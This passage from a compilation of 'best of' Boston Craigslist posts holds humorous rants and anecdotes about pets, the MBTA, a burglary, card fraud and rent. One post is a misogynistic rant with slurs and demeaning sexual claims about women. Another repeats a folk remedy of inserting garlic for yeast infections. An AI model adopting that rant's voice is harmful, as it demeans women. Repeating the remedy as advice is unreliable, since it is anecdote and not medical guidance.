of his individual ego. When adolescence hits, this boy tries to be cool. He creates a new pecking order based around musical taste, or fashion, or obscure knowledge. He tries out for the school play, or joins the debate team, or starts a band, or joins the school's literary magazine, and tries to win approval through his creativity and intelligence. There is nothing inherently wrong with seeking approval through these channels, but the boy still has a chip on his shoulder about rejection. He strives to create not merely a new selection where he is on top, but a new selection where the kids who are successful at the old games are rejected here. He seeks to be even crueler than he thinks those other kids are— to cut them down before they can hurt him again. He doesn't realize that being rejected from the alternative he has just created doesn't hurt at all, really. His ego depends upon being top of some pecking order, even an imaginary one, and he will viciously defend his new status, especially by being cruel to those who are lower down on his new pecking order. He becomes an asshole, but it's everyone else's fault but his. Ultimately, this is what it means to be cool, to be indie, to be avant-garde, to be hip. As a young punk rocker, I was saved from this insanity because I grew up in a small town where weirdos got their asses beat. In order to be weird, you had to band together and watch each other's backs. We had to trust each other in a fight, or we'd all get stomped. It was ugly, it was nasty, and it was exhausting, but at the end of the day, you really knew who your friends were. A realistic selection sprung up based on whether you were worth saving when everyone got jumped by rednecks. You sized up new potential friends for their value in dragging you out from under a half dozen pairs of steel-toed Doc Martins when the Nazi skinheads broke up your hardcore show. (I like traditional skinheads, but the Nazi skins suck ass). When the bored, redneck small-town cops harassed us for being weird, you needed to know your friends had your back when you split up and ran. The point is that every boy and every man needs to know his friends chose him. It's hard-wired into our brains. We need to know that we were worth picking, that we're valued for what we contribute to the people around us. We need it in our jobs, in our friendships, and in our relationships. Those boys and men who never get chosen, who never become the people anyone would want on their side, are damaged goods. They're not really cool, they're undeveloped. No tattoo or piercing, no leather jacket or pair of glasses, no boots or records or novels or comic books or mp3s or posters or t-shirts; no commodity of any kind is going to make a pair of balls occur where they wouldn't anyway. We live in an advertising culture where we are constantly told that the only thing that stands between our current state and wholeness is a particular commodity. It's the central lie of our culture, and the people who hate mainstream culture the most seem to cling to this lie the most intensely. Notice how many "alternative" people define their non-conformity by how readily they conform to an alternate standard? How they buy objects that articulate their rebellion for them? It has become so ingrained in our culture that the current crop of teenagers makes no distinction between consumption and expression. They are frustrated that consumption alienates them from their own feelings and desires, but they express that frustration by consuming more commodities. It's a vicious circle. Let go. Quit being cool.  <ul class="blurbs"> <li> Location: Somerville <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-07-06T09:16:34-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/367672638.html Through being cool text My Turtle Needs A Booty Call http://www.craigslist.org/about/best/bos/284116057.html I have a very special red-eared slider who recently "became a man," as they say. He deserves everything his little heart desires so I'm kind of hoping someone out there has a female turtle that . . . you know, needs a little something extra. She would be one lucky turtle because my turtle is very cute with huge, sexy claws. And he is also the John Holmes of turtles. That being said, my turtle doesn't need any baby momma drama and since he's pretty young in turtle years, I doubt he's ready to commit to anything exclusive or long-term. So I guess we're kind of talking about casual sex here but I promise that my turtle could give your turtle more respect and pleasure than the average "special friend." If you think that your female turtle may be interested, please contact me. And if you have any pictures, I can show them to my turtle and see his reaction. Thanks!  <ul class="blurbs"> <li> Location: Boston <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-24T19:04:54-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/284116057.html My Turtle Needs A Booty Call text I'm Done With Ya, Bitches http://www.craigslist.org/about/best/bos/279042108.html It probably coincides with Valentine's Day, even though I haven't put a whole bunch of stock in the "holiday" since I was in high school, but as of today I am done with ya bitches. You are officially not worth my time and effort any longer. Here is my list of greivances against women. Not Admitting That You Are Only Interested in NSA Sex. Listen. It takes a lot of effort to build and maintain a healthy, honest relationship with any person of any gender, no matter how great they are. If you just want to fuck, just say so. I may or may not be interested. Don't meet my friends, spend time cuddling (now a banned activity), or talking about life, the universe, and everything with me if all you really want is some dick up in ya. Don't show interest in my life, and breed interest in your own only to tell me a few weeks or months down the road that you are "just not into a relationship." My special attentions are(were) reserved for special people, not fuckholes. Golddigging. Wether you realise it or not, most of you are golddiggers. How many months salary for that diamond ring that you expect to get eventually? And what do you give in return? Maybe a blowjob. Maybe, maybe, maybe a begruding attempt at anal. Gee. Thanks. Look, you girls want a guy with money. More than you have. Admit it. You want to travel the world. Own property. Own a nice car. Own handbags and lots of shoes. You may be OK with getting these things for yourself, but a guy who can buy these things for you skyrockets past every one that can't unless he's Ted Bundy. So, those of use guys who have to make our own ways in the world with no inheritances or mamma and da-da's to provide us with stable little nesteggs (or hell, even a year or two of free rent in our adult lives) are kind of screwed. Speaking of Begrudging Attempts at Anal "Oh, go ahead, just stick it in and get it over with." A girlfriend actually said this to me once. I have never been a person to nag a woman with requests for anal. I've never even asked for it. She asked me why guys are so interested in it and I tried to explain. It's more about, in an intimate setting, allowing your entire body to become a sex organ, overcoming shame, and trusting one another. A combination of relaxation and overpowering arousal. Don't patronize my sexuality. Blowjobs & handjobs should be sloppy, noisy, and willing to finish the job. Not this "suck suck, oh my jaw" crap. I made sure to learn how to give good head. I give DAMN good head. I'm not afraid of your bodily fluids. I dive in and grab a snorkel if I need air. Let go of this bullshit femenist rhetoric and learn to worship the cock or become a lesbian. Your Friends' & Family's Relentless Scrutiny Oh my fucking god I am tired of having to prove myself to your friends and families. (straight) Men's friends and families don't require this. They are just happy that we may have found someone whom we have a chance with. Seriously. You bitches need to learn to put your friends in line when they shit talk the guy you're seeing. They will do that to every guy you date. Especially if they are divorced or single. You have no idea how stressful this is, and no respect for my going through this. Materialism You are. Look at your handbag. Bisexuality You aren't. It just makes you feel popular. You're confused because you don't realize how much this has been used as a marketing tool to sell things to men. The Toilet Seat You fucking put it up. When I walk into the bathroom, the first thing I do before I unzip is look at the toilet seat. Is it where I want it to be? No? Then I move it. Grow the fuck up. Criticism Look in the mirror. Rate yourself 1 - 10. The closer you are to 10, the less honest people will be with you about what a cunt you are. Realize this. Aknowledge this. This causes you to have a skewed vision of the world and your place in it. Figure it out. You Are a Protected Species Men protect you because they want to fuck you. Women protect you for the solidarity of the sisterhood. Your employer promotes you so that you won't sue him for not, or because she wants to "even the odds." The world is put on a curve so that you can advance and become "equal", meanwhile on the other side of that curve are men who have to work twice as hard, in jobs that you'd never want, with little or no recognition, as they LOSE stake in this world, without the balance of women who are willing to support them in the interest of "evening the odds." feel free to add to the list. I'm done with ya, bitches, because you are all crazy, deluded, and have priviledges that you don't even begin to aknowledge. Porn is cheaper, more consistent, and less demanding.   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-15T08:57:29-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/279042108.html I'm Done With Ya, Bitches text Need "perpetual water bowl" for pathetically picky cats http://www.craigslist.org/about/best/bos/277482847.html Alright, so here's the situation. I have two cats. Cheese is the bastard child, Moo is the morbidly obese cow-like mom to Cheese. I hate these cats. I loathe them with every fiber of my being. It is their sole purpose in life, upon waking up in the morning, to find ways to Piss Me Off. (Actually, to be fair, Cheese is the worst. Moo doesn't do much more than lay around alternatively sleeping and showing people her impressive belly.) They chew on my favorite plants, regardless of how enthusiastically I show them their "cat grass", or the decoy plants I leave around the house that I've decided I can sacrifice for their chewing desires. They choose to chew just the plants I particularly like. They kick cat litter out of their two covered, impeccably well-maintained litter boxes like they're getting paid for each grain of litter that I have to sweep up. They chew food - only the best for my little angels - only to spit it out on the floor, play with it for a few minutes, until it's left a nice snail trail on my freshly mopped kitchen floor. They leave certain pieces out, where I might not see them until I step on them with sockfeet. This morning, Cheese put holes all over the front of my favorite Frank Zappa t-shirt. But mostly, it's their lips that piss me off. The sound their stupid little cat lips make when they drink their stupid cat water. Here's the thing. They refuse to actually drink water out of a bowl. When we adopted these wretched beasts, we were given a "perpetual water bowl" with a little water-cooler kind of thing. It was electric, it created a current, and it seemed just a little over the top for cats. So when I was trying to clean it out one day, I noticed mold - and for whatever reason (I was clearly not thinking straight) I decided my kitties simply could not drink MOLD. This was UNHEALTHY. It might HURT THEM! So I tossed the water dish. Since then, these animals have met every style water dish by taking a few little sips, just enough to keep themselves from dying of dehydration, and then flipping the bowl upside down. It doesn't matter how much water is in it. I can put 3mm of water on the bottom of the bowl, they'll still flip the thing. Then it gets taken away. They are only allowed to have water supervised. Unfortunately, they don't much care about my rage and will still flip the bowl even while I am watching. They try to sneak into the bathroom to sip water wherever they can. Our sink isn't the quickest draining sink, and I'd really rather they not sip water that has leftover toothpaste or soap in it, as this seems to produce mass amounts of thoroughly disgusting cat vomit (guess who cleans that up??). This morning, the kitchen floor was covered in water. They decided to try to get into the remarkably heavy water pitcher that always sits on the counter. Mind you, there was perfectly fine water in a ceramic bowl inside a heavy bottomed dutch oven. This water was apparently not up to par for these felines. I don't want to spend $40 on ANYTHING for these smug douchebags. My daughter adores the cats, so I can't get rid of them. She also expects me to love them as much as she does, so I can't actively tell them how much they suck (except for a few well-placed hisses of "YOU SUCK" whenever my daughter is out of earshot). I spend much of my time glaring at them, hoping they can sense my hatred. I don't want to give in to them by purchasing their extra special water bowl with a current and a reservoir. But I will, if it means I don't have to mop up their soupy mess every morning (cat litter that's been kicked onto the floor + chewed up and spit out food + water = revolting). I was just hoping that someone might have one they no longer need or want. I will pay you up to $15 for it. For the love of god, I just want the water situation to END. I am starting to hear their stupid little smacking cat lips in my sleep.   <ul class="blurbs"> <li> Location: Belmont <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-12T11:17:03-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/277482847.html Need "perpetual water bowl" for pathetically picky cats text Rant: The Dog Ate What? http://www.craigslist.org/about/best/bos/243881936.html We have a dog by the name of Kismet. He came to us in the Summer of 2001 from the rescue program I was heavily involved with. For those of you who are unfamiliar with this type of adoption, imagine taking in a 10-year-old child whom you know nothing about and committing to doing your best to be a good parent. Like a child, the dog came with his own idiosyncrasies. He will only sleep on the bed, on top of the covers, nuzzled as close to my face as he can get without actually performing a French kiss on me. Lest you think this is a bad case of no discipline, I should tell you that hubby and I tried every means to break him of this habit including locking him in a separate bedroom for several nights. The new door cost over $200. But I digress. Five weeks ago we began remodeling our house. Although the cost of the project is downright obnoxious, it was 20 years overdue AND it got me out of cooking Thanksgiving dinner for family, extended family and a lot of friends that I like more than family most of the time. I was, however, assigned the task of preparing 124 of my famous yeast dinner rolls for a delayed celebration among friends this past weekend. I am still cursing the electrician for getting the new oven hooked up so quickly. It was the only appliance In the whole house that worked, thus the assignment. I made the decision to cook the rolls on Friday evening to reheat on Saturday morning. Since the kitchen was freshly painted you can imagine the odor. Not wanting the rolls to smell like Sherwin Williams latex paint #586, I put the rolls on baking sheets and set them in the living room to rise for 5 hours. After 3 hours, hubby and I decided to go out to eat, returning in about an hour. An hour later the rolls were ready to go in the oven. It was 8:30pm. When I went to the living room to retrieve the pans, much to my shock one whole pan of 12 rolls was empty. I called out to Kismet and my worst nightmare became a reality. He literally wobbled over to me. He looked like a combination of the Pillsbury dough boy and the Michelin Tire man wrapped up in fur. He groaned when he walked. I swear even his cheeks were bloated. I ran to the phone and called our vet. After a few seconds of uproarious laughter, he told me the dog would probably be OK, however, I needed to give him Pepto Bismol every 2 hours for the rest of the night. God only knows why I thought a dog would like Pepto Bismol any more than kids do when they are sick. Suffice to say that by the time we went to bed the dog was black, white and pink. He was so bloated we had to lift him onto the bed for the night. Naively thinking the dog would be all better by morning was very stupid on my part. We arose at 7:30 and as we always do first thing; took the dogs out to relieve themselves. Well, Kismet was as drunk as a sailor on his first leave. He was running into walls, falling flat on his butt and most of the time when he was walking his front half was going one direction and the other half was either dragging the floor or headed 90 degrees in another direction. He couldn't lift his leg to pee, so he would just walk and pee at the same time. When he ran down the small incline in our backyard he couldn't stop himself and nearly ended up running into the fence. His pupils were dilated and he was as dizzy as a loon. I endured another few seconds of laughter from the vet (second call within 12 hours) before he explained that the yeast had fermented in his belly and that he was indeed drunk. He assured me that, not unlike most binges we humans go through, it would wear off after about 4 or 5 hours and to keep giving him Pepto Bismol. Afraid to leave him by himself in the house, hubby and I loaded him up and took him with us to our friend's house. A 10 to 15 minute drive. Rolls firmly secured in the car (124 less 12) and drunk dog leaning from the back seat onto the console of the car between hubby and I, we took off. Now I know you probably don't believe that dogs burp, but believe me when I say that after eating a tray of risen unbaked yeast rolls, DOGS WILL BURP. These burps were pure Old Charter. They would have matched or beat any smell in a drunk tank at the police station. But that's not the worst of it. Now he was beginning to fart and they smelled like baked rolls. God strike me dead if I am not telling the truth! We endured this for the entire trip, thankful she didn't live any further away than she did. Once Kismet was firmly placed in my friend's garage with the door locked, we finally sat down to enjoy our celebration with friends. The dog was the topic of conversation all morning long and everyone made trips to the garage to witness my drunk dog, each returning with a tale of Kismet's latest endeavor to walk without running into something. Of course, as the old adage goes, "what goes in must come out," and Kismet was no exception. Granted if it had been me that had eaten 12 risen, unbaked yeast rolls, you might as well have put a concrete block up my behind, but alas a dog's digestive system is quite different from yours or mine. I discovered this was a mixed blessing when we prepared to leave my friend's house. Having discovered his "packages" on the garage floor, we loaded him up in the car so we could hose down the floor. This was another naive decision on our part. The blast of water from the hose hit the poop on the floor, and the poop on the floor withstood the blast from the hose. It was like Portland cement beginning to set up and cure. We finally tried to remove it with a shovel. I (obviously no one else was going to offer their services) had to get on my hands and knees with a coarse brush to get the remnants off of the floor. And as if this wasn't degrading enough, the dog in his drunken state had walked through the poop and left paw prints all over the garage floor that had to be brushed too. Well, by this time the dog was sobering up nicely so we took him home and dropped him off before we left for our second celebration at another friend's house. I am happy to report that as of today (Monday) the dog is back to normal both in size and temperament. He has had a bath and is no longer tricolor. None the worse for wear I presume. I am also happy to report that just this evening I found 2 risen unbaked yeast rolls hidden inside my closet door. It appears he must have come to his senses after eating 10 of them but decided hiding 2 of them for later would not be a bad idea. Now, I'm doing research on the computer as to how to clean unbaked dough from the carpet, and how was your day?   <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> Location: North Shore <li> It's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-12-04T11:22:05-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/243881936.html Rant: The Dog Ate What? text RANT: Crotch Rot http://www.craigslist.org/about/best/bos/220157847.html Or as I like to call it, The Yeast Beast. Many men are more than happy to talk about the clitoris and the vagina all damn day and I am thrilled to accommodate these sicko pervs. However, there is a line we all hate to cross. But there comes a time when one must throw caution and good taste aside and address these issues in the interest of womanhood. Yes, yeast infections. Crotch rot. That burning itching dripping fungus that attacks the very area we hold most dear. I never used to get yeast infections. Then I started taking all these antibiotics, now I seem to be on my third one. I was not exactly sure the first day. I mean, I had a sort of itchy achy feeling radiating from between my legs. I called up my husband to report this. He likes to keep track of my crotch. "Honey, I think I am really horny." He gulped. "You think?" "It’s hard to say. I could be getting yeast infection. I definitely need something down there." "Probably a yeast infection," he said gloomily. "No, I think it is horniness. I want you." "Whatever you say." "I said I want you, dammit! I am longing for you! I need it bad." He sighed. "Okay, I get it." But then the burning began. The itching became unbearable, panties were an impossibility, and I was compelled to continually check for the tell-tale whitish ickiness. Soon I was fairly confident I had the crotch rot, but couldn’t quite find time to get to the grocery store. By mid morning I was in agony. I couldn’t decide if I wanted to lie back with my legs spread and shove an ice cube up my twat or floss with a burlap rope. The corncobs in the cornucopia table display suddenly looked very appealing. I exerted myself trying to dig and itch in a graceful manner in my open to the world office. At lunch I rushed to the store, being careful to walk with my legs four feet apart at all times. I grabbed the Monistat 3 from the shelf. A friend, who happens to also be a pharmacist, was working. I decided to be responsible and actually read the label. "David, my crotch is on fire again. This says not to use repeatedly. Can I still use it?" He paused. He then made some very professional type noises about consulting your physician. "Don’t screw with me David, I need it BAD!" I was in no mood. He admitted I could probably use it. I amused myself by bitching for several minutes about this latest series of primal punishments. David became concerned. "You really should see a doctor. If you are getting them a lot you could be developing drug resistant strain." He went on from there. The basic premise was I could actually be using my vagina to breed my very own form of Super Yeast that would eventually be vulnerable only to kryptonite and the music of Barry Manilow. I couldn’t get into the doctor for at least a week. I asked for alternatives. David informed me many women used natural treatments, such as plain yogurt. Really? "Umm, how exactly would you get the yogurt in there?" He shrugged. I pondered this. I suggested I could make little yogurt popsicles and shove them inside. But David wasn’t sure if freezing would kill the cultures. The other scenarios I came up with seemed very messy or involved fancy equipment I did not own. Also, how long would you leave it? It is sort of warm down there and experience has taught me if yogurt sits out too long it spoils. "Well, you can also use garlic," he suggested. "You wrap some open cloves in a cheese cloth and insert overnight. Be sure to leave a piece of the cloth where you can reach it though." Beautiful. This would have the added benefit of keeping vampires out from between my thighs while I slept. Always an issue. Add some tomatoes and pasta and you have a dining experience waiting to happen. I bought the Monistat again.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around At The Bakery <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-10-13T15:33:05-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/220157847.html RANT: Crotch Rot text To the guy(s) who broke into my apartment last week: http://www.craigslist.org/about/best/bos/198011711.html First off, my roommate and I would like to thank you for violating the privacy of our home. We’ve always felt that the lock on our door was more of a formality than a necessity anyway. Did you feel welcome? Sorry we weren’t there to offer you a glass of water and a place to sit and chat. Oh, and we apologize for the clutter. Congratulations on your method of entrance. Your crowbar skills were quite effective, and definitely left an artistic mark. The door frame has been reinforced now, but we’ll have the mangled wood on the inside of the door to remind us of your thoughtful visit—it really gives the door and our apartment in general, the character it previously lacked. Thanks. We’d also like to extend our apologies for unintentionally wasting your time. Had you called ahead, we could have let you know that we are a waitress and an impoverished grad student, respectively, and therefore lack the funds to purchase the expensive, portable little goodies you were clearly after. We really are sorry that we couldn’t send you off with more souvenirs of your visit. I am a little curious about one thing: my bath towel. Upon combing our apartment to figure out if anything was missing, we didn’t come up with much. However, when I went to take a shower that night, I discovered that my bath towel is missing. Now, I’m sure you could have used it to smuggle something I haven’t missed yet, or to cover your arm while breaking a window to get out via the fire escape, but I’d like to believe that you took it for yourself. I already feel pretty close to you, since you’ve rifled through my panties, seen the special friend I keep hidden in the same drawer, and combed through the costume jewelry I inherited from my grandma. I’d like to think that you’re sharing in my favorite bath towel. It’s cute, soft from countless post-shower dryings, and the perfect size—not bath sheet huge, but big enough to fully cover my sizeable ass and other attributes. Enjoy my well-loved, hand-me-down towel. Consider it my parting gift to you. I believe that those who presume they deserve to make a profit from purloining other peoples’ items are a neglected group of people. Keep the towel, and think of me whenever you use it. I hope you think of all the people who have played host to your domestic acquisition parties. We certainly appreciate your efforts at spicing up our everyday lives. Whatever would we do without you.   <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Back Bay <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-08-23T19:24:21-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/198011711.html To the guy(s) who broke into my apartment last week: text My Shelter Dog http://www.craigslist.org/about/best/bos/197640942.html My Foster Dog by Unknown Author My foster dog stinks to high heaven. I don't know for sure what breed he is. His eyes are blank and hard. He won't let me pet him and growls when I reach for him. He has ragged scars and crusty sores on his skin. His nails are long and his teeth, which he showed me, are stained. I sigh. I drove two hours for this. I carefully maneuver him so that I can stuff him in the crate. Then I heft the crate and put it in the car. I am going home with my new foster dog. At home I leave him in the crate till all the other dogs are in the yard. I get him out of the crate and ask him if he wants "outside." As I lead him to the door he hikes his leg on the wall and shows me his stained teeth again. When we come in, he goes to the crate because that's the only safe place he sees. I offer him food but he won't eat it if I look at him, so I turn my back. When I come back, the food is gone. I ask again about "outside." When we come back, I pat him before I let him in the crate; he jerks away and runs into the crate to show me his teeth. The next day I decide I can't stand the stink any longer. I lead him into the bath with cheese in my hands. His fear of me is not quite overcome by his longing for the cheese. And well he should fear me, for I will give him a bath. After an attempt or two to bail out he is defeated and stands there. I have bathed four legged bath squirters for more years than he has been alive. His only defense was a show of his stained teeth, that did not hold up to a face full of water. As I wash him, it is almost as if I wash not only the stink and dirt away but also some of the hardness. His eyes look full of sadness now. And he looks completely pitiful as only a soap covered dog can. I tell him that he will! feel better when he is cleaned. After the soap, the towels are not too bad, so he lets me rub him dry. I take him outside. He runs for joy . . . the joy of not being in the tub and the joy of being clean. I, the bath giver, am allowed to share the joy. He comes to me and lets me pet him. One week later I have a vet bill. His skin is healing. He likes for me to pet him ( I think). I know what color he will be when his hair grows in. I have found out he is terrified of other dogs, so I carefully introduce him to my mildest four legged brat. It doesn't go well. Two weeks later a new vet bill for an infection, that was missed on the first visit. He plays with the other dogs. Three weeks later his coat shines, he has gained weight. He shows his clean teeth when his tongue lolls out after he plays chase in the yard with the gang. His eyes are soft and filled with life. He loves hugs and likes to show off his tricks, if you have the cheese. Someone called today and asked about him. They saw the picture I took the first week. They asked about his personality, his history, his breed. They asked if he was pretty. I asked them lots of questions. I checked up on them. I prayed. I said yes. When they saw him the first time they said he was the most beautiful dog they had ever seen. Six months later, I got a call from his new family. He is wonderful, smart, well behaved, and very loving. How could someone not want him? I told them I didn't know. He is beautiful. They all are. :)  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Anywhere <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-08-22T23:18:31-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/197640942.html My Shelter Dog text Your field guide to MBTA employees. http://www.craigslist.org/about/best/bos/184572672.html Through the last 14 months, I have slowly gained a knowledge of and appreciation for this common, yet unusual species. One must approach them carefully, for they are prone to detection of actual MBTA riders and thus tend to disappear quickly when spoken to. 1. The MBTA Police. These individuals are noticeable by the large cup of Dunky's coffee in the right hand, with orange and hot pink plumage. Earlier scientists have postulated that they exist to serve a protective function among the crowds of MBTA riders. However, detailed observation has led me to believe that they are merely decorative in function, aside from their obvious function of economic support for the Dunkin' Donuts franchises in Downtown Crossing, Alewife, Harvard, and other such locations. There is no incident -- attempted mugging, gangs tagging with spray paint, aggressive panhandlers, fare jumpers, urination onto the tracks, drunken teenagers puking in a train car, or flashers -- that they cannot remain completely calm, tranquil, and unimpressed by. Any attempts to enlist their assistance with defending your possessions or corporeal self will be met with an uncomprehending stare and a sip from the aforementioned cup in the right hand. It is suggested that the casual field observer simply regard them as one would a piece of furniture, though furniture is generally more useful. Their mating call consists of a garbled, unintelligible message over the public address system, of which the only distinguishable words are, "See something, say something." 2. The MBTA Token Person. These individuals generally barricade themselves in secure shelters of scratched Plexiglass and steel, where they control the economic flow of usable cash exchanged for MBTA tokens. While they generally refuse to indulge said function, and glare at people who present them with money, they do bellow loudly at persons with bicycles and cameras. They generally appear with a telephone receiver held to one ear, and ask you if "you can fuckin' wait one minute, I'm fuckin' busy here" and go back to discussing their mating rituals and perceived inadequacies of potential partners. Though they have been shown to articulate English (see "Bicycles and cameras", above), when presenting them with cash to transmute into tokens, they refuse to acknowledge this language, and the field observer will desperately communicate through sign language, unusual when the observer and wildlife have a language in common. The MBTA Token Person also will refuse communication with tourists seeking directions, annoyed MBTA regulars who are facing shutdowns of the Red Line, or persons who have lost money in a machine that purports to dispense tokens and/or CharlieTickets, unless there is a queue of at least twenty persons behind said inquirer. 2a. The MBTA Token Person - CharlieTicket subspecies. The MBTA Token Person remains true to form in their new environment of sitting on a chair next to a broken CharlieTicket gate. They still refuse the communications posited to them (See "Tourists, subway shutdowns, and victims of broken machines"), but mostly spend their time idly waving a hand at people and chatting with Species #1 - MBTA Police. 3. The MBTA Bus Driver. The MBTA Bus Driver breaks into two approximate subspecies. 3a. The MBTA Bus Driver - Milton subspecies. This subspecies is named for the character in Office Space, with whom the Milton subspecies shares a complete personality. The driver greets patrons with random mumbles, often proceeds at a glacial pace, and offers inept apologies when s/he completely varies off route and ends up with forty angry riders stuck with him/her in a traffic jam after a Red Sox home game. While the subspecies does appear to have a need to please the MBTA patrons, no one can understand anything that this subspecies says, and thus attempts to communicate are often exercises in futility. 3b. The MBTA Bus Driver - Angry Roxbury Resident subspecies. This subspecies is noticeable for its volatility. It will express anger at patrons that do not have exact change for the bus, at patrons who do have exact change for the bus, and at patrons who are swiping a monthly pass through the card reader. This subspecies is rarely seen without the standard Nextel walkie-talkie phone, into which it screams threats at its unseen mate, usually beginning with "When I get back to Grove, you are so $%@$^&ing dead, you #$62642ing $%@#%!" In between expelling vitriol at the Nextel phone, the driver will also yell at other drivers, refuse to brake for red lights, palm dollar bills from the bus fare slot, deliberately miss stops, refuse to lower the bus for the handicapped, and yell at all visible members of the human race. It is advisable that the field observer remain as invisible and nonthreatening as possible, and display great caution in interactions. 4. The MBTA Train Driver. This relatively invisible species appears to the field observer in two instances. In the first instance, the observer will be standing with a camera on the platform, at which point the train driver will yell that terrorism is not allowed in the MBTA subway system. The second instance is easily observable to all passengers on the MBTA train, when the train driver gives the wrong name for the current stop, misidentifes the train, or occasionally informs everyone that the train will no longer run. Caution is advised in all interactions with the MBTA subspecies. Truly brave observers may be interested in moving into the next level of field observation - Chinatown taxi drivers.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around the T <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-07-21T11:48:41-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/184572672.html Your field guide to MBTA employees. text Invitation to the Anonymous Stranger http://www.craigslist.org/about/best/bos/181590336.html So an interesting thing happened to me today when I tried to take $20 out of an ATM machine at lunch time. A glaring rejection marked "Insufficient Funds." Now, I know that I am not the most careful person when it comes to managing my cash. I'm probably even "bad" at it, but I could have sworn that I hadn't spent that much this weekend. A quick trip to my bank's website confirmed the truth... I was overdrawn by almost $90. "Wow," I though, "I really need to pay more attention to where my money is going. I mean, I don't even remember spending this $165 on priceline.com, or this $34.95 on regsoft.com, or this $65.99 on regsoft.com, or this $35.00 on intellius.com... wait a minute! WTF! I haven't made any of these purchases!" Yup, all told almost $300 of my money was gone. Random stranger on the internet seems to have stolen my CC information. Annoying, but like all CC's, mine is insured against identity theft. Oh well, right? C'est la vie... only, not quite. I have always hated bullies. I hate people that are rude in their cars because of the relative anonymity that they enjoy. I hate people that prey on others, and I hate being taken advantage of. As I sat there, staring at my virtual bank statement and chuckling on the phone with some girl in customer service who couldn't apologize enough for my inconvenience, a mantra began swelling up within my soul. "Do not go gentle into that goodnight..." With it, an idea began to form... what were those charges again? Regsoft, regsoft, intellius... priceline? Hmm... priceline. I do wonder what my friend the anonymous cyber thief was buying himself. After spending a half-hour trying to get a human on the phone from priceline, and after going through two humans that refused to assist me because of company policy, I struck gold. A kind soul in this anonymous cyber world who seemed to share my disdain. Suddenly I had some information. I had the name of a hotel in Indianapolis, ID who was expecting my stranger to check in this very evening, and to stay through thursday. So anonymous stranger, you may have a hot ex that you are stalking with intellius online. You may have Payroll 2006 and Password Reminder software on my dime. You might even have a couple of night's stay at a decent hotel lined up... but I have something too. Oh yes. :-) I have your name. I have your email address. I have a very agreeable hotel manager who is just waiting for you to check in. I have the Indianapolis PD, waiting on my return call. Yes, it has occurred to me that you may have used a fake name, address, etc. to book your hotel, but I'll take that chance. You're playing a foolish game, and I would very much like to play it with you. So please anonymous stranger, check in to that hotel...  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Boston <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-07-13T13:17:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/181590336.html Invitation to the Anonymous Stranger text Apartment Fury http://www.craigslist.org/about/best/bos/177040375.html Has anyone been in the rental market lately? It has pushed me into insanity... Have any of you ever been in such a bad mood that when people ask you what’s wrong it just makes you even worse. Then then try to cheer you up and it makes you so mad that you want to kill puppies. Anything short of them pulling down their pants and farting the star spangled banner or seeing a clown get hit by a garbage truck wouldn’t get you in a good mood. That’s how I feel all the time. My co-workers won’t talk to me anymore, they started to wear bullet proof vests in anticipation of me coming in with an assault rifle. All I did for the past two months is work, search Craigslists for apartments, look at apartments, talk to real estate agents about apartments and obsess about apartments. I actually had dreams about apartments. One was that I found a place that no one knew about and as I walked around I kept finding new rooms and hidden staircases and that it was right across the street from a public pool, a playground and a Daycare center. I am going crazy. I don’t like the word apartment anymore. They should call apartments Fuck you. “So are you looking for a 2 or 3 bedroom fuck-you? That particular Fuck-you is not de-leaded, sorry.” Maybe some of you can relate on how much the cost of living sucks around here. I just got kicked out of my apartment because the landlord sold the place. I moved in a little over a year ago when I got kicked out of my previous apartment because that landlord wanted to turn it into a condo. I have lived in Boston for about 6 years and have had to move 5 fucking times all on the landlords behalf. I also have a 3 year old which means I can’t rent a place unless it’s “de-leaded” which basically means 90% of the apartments on the market are unavailable to me. It’s just ridiculous. This is why all of the young professionals are moving out of Boston. You either have to be a dirt poor loser or filthy rich. Maybe I’m Jaded. I know I am definitely a grumpy bastard these days. I just found another place and I don’t even know the new landlord but based on my previous experience I want to punch him in the face. On top of being kicked out I had to hand over $650 to a rental agent just because the guy walked me through the front door and ran my credit. I wanted to kick every real estate agent in the crotch (man or woman I don’t discriminate). I pretty much hate every homeowner in Boston just out of the sheer envy that I can’t afford my own place. When the overpriced bubble finally pops around here and all those fucking real estate hungry, over-charging, blood sucking fucking bastard slum lords start losing their shirts I’ll be so happy. You’ll be able to spot me. I’ll be the guy running around wrapped in eviction notices pissing off of rooftops and hurling feces at all of the foreclosure homes. I was actually foolish enough to consider buying property so I wouldn’t be at the mercy of landlords anymore. I’m 31, I have a nearly perfect credit score and make a decent living. The only thing I could afford was a condo in Dorchester, Roxbury, Lawrence or Lynn. Hmmmm, a $280,000 interest only loan for a glorified apartment in some of the worst school systems in the country and where Target offers Handgun 